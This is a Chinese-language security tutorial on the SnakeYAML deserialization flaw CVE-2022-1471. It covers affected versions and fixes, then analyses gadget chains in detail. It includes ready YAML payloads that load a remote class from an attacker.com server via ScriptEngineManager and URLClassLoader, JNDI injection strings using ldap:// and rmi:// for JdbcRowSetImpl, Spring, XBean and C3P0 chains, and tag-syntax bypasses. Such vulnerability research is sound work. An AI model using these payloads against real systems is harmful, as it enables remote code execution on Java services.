snake yaml 反序列化漏洞
snake yaml 反序列化漏洞
关键漏洞概览:CVE-2022-1471
漏洞原因
SnakeYAML 在使用Constructor()
(默认构造器)解析 YAML 时,并未限制可被实例化的 Java 类型。这意味着,若解析来自不受信任来源的 YAML,攻击者可以构造恶意 payload,通过 “全局 tag” 语法(例如!!com.sun.rowset.JdbcRowSetImpl {...}
)执行远程代码。影响版本
所有 低于 2.0 的 SnakeYAML 版本都存在该风险(即 <= 1.x 系列)修复版本
Snakeyaml 2.0 自 2023 年 2 月发布起(有源指出),内置了安全机制:默认Constructor
继承自SafeConstructor
,禁止全局标签,避免任意类型实例化安全建议
- 将 SnakeYAML 升级至 2.0 或更高版本。
- 若无法立即升级,应使用
SafeConstructor
或者配置LoaderOptions
进行 tag 白名单限制
SnakeYaml基本用法
SnakeYaml是java中的yaml解析器,支持将java对象和yaml数据相互转化。
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。
- Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
- Yaml.dump():将一个对象转化为yaml文件形式
使用jdk1.8.0_211,导入依赖
1 | <dependency> |
先写一个user类
1 | package test; |
再写一个测试类
1 | package test; |
得到
1 | getAge |
说明在yaml序列化的时候,即调用yaml.dump
方法的时候,会调用目标类的getter
方法。
然后在yaml反序列化的时候,即调用yaml.load
方法的时候,会调用目标类的setter
方法。
序列化的结果前面的!!
是用于强制类型转化,强制转换为!!
后指定的类型,其实这个和Fastjson的@type有着异曲同工之妙,用于指定反序列化的全类名。
所以yaml利用链的点跟fastjson很像,都是会调用指定类setter方法导致安全隐患。
基于SPI机制的ScriptEngineManager利用链
什么是SPI机制?
SPI ,全称为 Service Provider Interface,是一种服务发现机制。JDK通过java.util.ServiceLoder
动态装载实现模块,在META-INF/services
目录下的配置文件寻找实现类的类名,通过Class.forName
加载进来,newInstance()
反射创建对象,并存到缓存和列表里面。也就是动态为某个接口寻找服务实现。
在前面使用的执行代码的payload中看到使用ScriptEngineManager类来进行构造,其实ScriptEngineManager利用的的底层也是SPI机制。
什么是META-INF
META-INF/
是Java JAR包中的一个标准目录,用于存放元数据(Meta Information) ,比如:
文件名 / 目录 | 作用 |
---|---|
META-INF/MANIFEST.MF |
JAR包的描述文件(如主类、版本信息) |
META-INF/services/<接口全限定名> |
SPI接口的实现类声明文件 |
META-INF/spring.factories |
Spring Boot的自动装配机制 |
比如你要为接口:
1 | javax.script.ScriptEngineFactory |
注册实现类(因为接口不能被实例化,必须通过类来实现),就创建一个文件:
1 | META-INF/services/javax.script.ScriptEngineFactory |
在该文件中,就可以指定实现类的名称,比如:
1 | com.attacker.Exploit |
poc
代码审计时,留意关键字yaml.load
,load方法,默认允许加载任意类加载。
poc
1 | package test; |
- 单
[...]
:表示构造函数的参数列表(List/数组)。 - 双
[[...]]
:因为URLClassLoader
的构造函数参数本身就是 数组 (URL[]) ,所以需要再嵌套一层。
所以写成 [[...]]
是为了让 SnakeYAML 正确构造出 URL 数组,不然就会类型不匹配。
成功触发dns解析
利用链分析
javax.script.ScriptEngineManager
在反序列化ScriptEngineManage类的时候,会自动调用构造方法ScriptEngineManager(ClassLoader loader)
导致触发里面的init方法,init方法又调用了initEngines方法。在initEngines中调用sl.iterator();
其中ServiceLoader
- prefix指定了远程SPI加载器的访问目录
- service指定了访问远程SPI加载器的具体文件
- loader指定了远程SPI加载器的地址
往下看iterator()
发现lookupIterator.hasNext()
,继续跟进hasNext方法:
跟进hasNextService
发现fullname拼接出来的就是要访问的完整的资源地址
也就是说ServiceLoader会寻找这个配置文件,其中
1 | prefix:META-INF/services/ |
所以可以读取到远程的META-INF配置。
攻击者就可以提前在SPI加载器中设置好/META-INF/services/javax.script.ScriptEngineFactory
文件,并在该文件当中指定恶意类的全限定名,比如
1 | com.attacker.Exploit |
接下来ScriptEngineFactory factory = itr.next()
这个语句就会利用反射机制实例化文件当中指定的类,相当于执行了:
1 | Class<?> clazz = loader.loadClass("com.attacker.Exploit"); |
反序列化的入口分析完成之后,我们会发现缺少参数ClassLoader loader
那么这个参数的由来就来自payload的下一层,即
1 | " !!java.net.URLClassLoader [[\n" + |
loader
想调用的是URLClassLoader
里面的方法,但是URLClassLoader
创建了一个URLClassPath
对象来接管,所以loader
实际上调用的是URLClassLoader
里面的方法
完整attack demo
构造YAML Payload
1 | !!javax.script.ScriptEngineManager [ |
服务器结构(远程攻击者搭建的目录)
1 | http://attacker.com/ |
其中 javax.script.ScriptEngineFactory
内容:
1 | com.attacker.Exploit |
恶意类(Exploit)
1 | package com.attacker; |
当YAML字符串被反序列化的时候,调用链自动触发,导致服务器弹出计算器
JdbcRowSetImpl利用链
利用限制
基于JNDI+RMI或JDNI+LADP进行攻击,会有一定的JDK版本限制。
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
LADP利用JDK版本≤ 6u211 、7u201、8u191
payload
1 | String poc = "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"ldap://localhost:1389/Exploit\"\n autoCommit: true"; |
利用链分析
这里和fastjson的触发一致,都是触发setAutoCommit方法,调用connect函数,然后触发InitialContext.lookup(dataSourceName),而dataSourceName可以通过setDataSourceName方法可控。
setAutoCommit()
方法代码如下:
当conn为null时,调用connect()
这段代码大概意思是执行InitialContext.lookup(this.getDataSourceName())
返回一个数据源对象DataSource
,然后再调用getConnection()
方法,返回一个Connection
对象。
大概理解为:向数据源DataSource
发起了获取请求。
而这个数据源DataSource
是由this.getDataSourceName()
决定的
该值是由setDataSourceName()
方法来设置,值为输入值
attack demo如上述第一条链子中的attack demo,修改payload即可。
Spring PropertyPathFactoryBean利用链
这个链子需要springframework依赖
1 | <dependency> |
payload
1 | String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" + |
或者是
1 | String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: \"rmi://127.0.0.1:1099/Exploit\", propertyPath: \"hacker\", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: [\"rmi://127.0.0.1:1099/Exploit\"]}}"; |
利用链分析
注意setBeanFactory
方法:
当进入 getBean()
时,首先检查 propertyPath
是否为空(为空就报错,不会继续)。然后会调用 beanFactory.getBean(this.targetBeanName)
。
因为 beanFactory
是 SimpleJndiBeanFactory
,所以这里实际会触发 JNDI 查找逻辑。在 SimpleJndiBeanFactory#getBean()
中,它会执行 lookup()
,并最终走到 JNDI 查询。
要满足propertyPath属性不能为空,利用setPropertyPath方法设置一个就行。
然后就是让isSingleton()
为true
在
SimpleJndiBeanFactory
里,shareableResources
是一个Set<String>
,用来标记哪些 JNDI 名称可以被当作 单例资源。当你调用
setShareableResources([...])
传入一个 JNDI 地址时(例如rmi://127.0.0.1:1099/Exploit)
,Spring 就会在isSingleton(name)
里检查:
1 return (this.shareableResources.contains(beanName));如果传入的名字在
shareableResources
集合中,就会返回true
。
所以只需要利用setShareableResources
方法,把rmi://127.0.0.1:1099/Exploit
作为数组传进去就行了。
然后看看getBean()
再次调用了isSingleton
方法这里会返回true
,然后调用doGetSingleton方法,这里进行了jndi查询。
Spring DefaultBeanFactoryPointcutAdvisor
需要在目标环境存在springframework相关的jar包,导入依赖
1 | <dependency> |
payload
1 | !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor |
Apache XBean
需要apache.xbean
依赖,没有版本限制
1 | <dependency> |
payload
1 | String poc = "!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"foo\",!!javax.naming.Reference [\"foo\", \"TouchFile\", \"http://vps/\"],!!org.apache.xbean.naming.context.WritableContext []]]"; |
利用链分析
原因在于org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding
继承了Binding
。
Binding
本身覆盖了 toString()
,会在输出时尝试调用 getObject()
获取实际绑定的对象。
也就是说,如果一个 ReadOnlyBinding
对象被打印、记录日志、拼接字符串时,toString()
会被触发 → 间接执行 getObject()
-
ReadOnlyBinding#getObject()
内部实现会调用ContextUtil.resolve(...)
。 -
ContextUtil.resolve
的逻辑是:如果绑定的对象是一个 Reference
,则会尝试根据其中定义的ObjectFactory
或factory className
去加载/实例化实际对象。 - 这就把链子从「一个看似普通的
toString()
」转成了「JNDI Reference 解析」
总结:ReadOnlyBinding.toString()
会调用 getObject()
,而 getObject()
又会解析 javax.naming.Reference
,导致可能加载外部或本地的工厂类 → 触发任意逻辑。
C3P0不出网利用
跟利用fastjson一样,还是setloginTimeout->inner->dereference
这条利用链
payload
1 | String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" + |
或者是
1 | String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource {jndiName: \"rmi://localhost/Exploit\", loginTimeout: \"0\"}"; |
C3P0二次反序列化链子也可以
bypass
写法 | 示例 | 解析后的完整 TAG | 说明 |
---|---|---|---|
双感叹!! |
!!javax.script.ScriptEngineManager |
tag:yaml.org,2002:javax.script.ScriptEngineManager |
快捷写法:自动补上tag:yaml.org,2002: 前缀 |
显式扩写!<…> |
 |
tag:yaml.org,2002:java.net.URLClassLoader |
不依赖自动补全,把完整 tag 写全 |
%TAG 前缀声明 + 单感叹! |
%TAG ! tag:yaml.org,2002: 后面!str |
tag:yaml.org,2002:str |
先声明 ! 的前缀,之后!xxx 会拼成完整 tag |
参考文章:
Java安全之SnakeYaml反序列化-腾讯云开发者社区-腾讯云
Java安全之SnakeYaml反序列化分析 - nice_0e3 - 博客园
SnakeYAML序列化&反序列化&其经典反序列化漏洞利用链讲解(非常详细!!!)-CSDN博客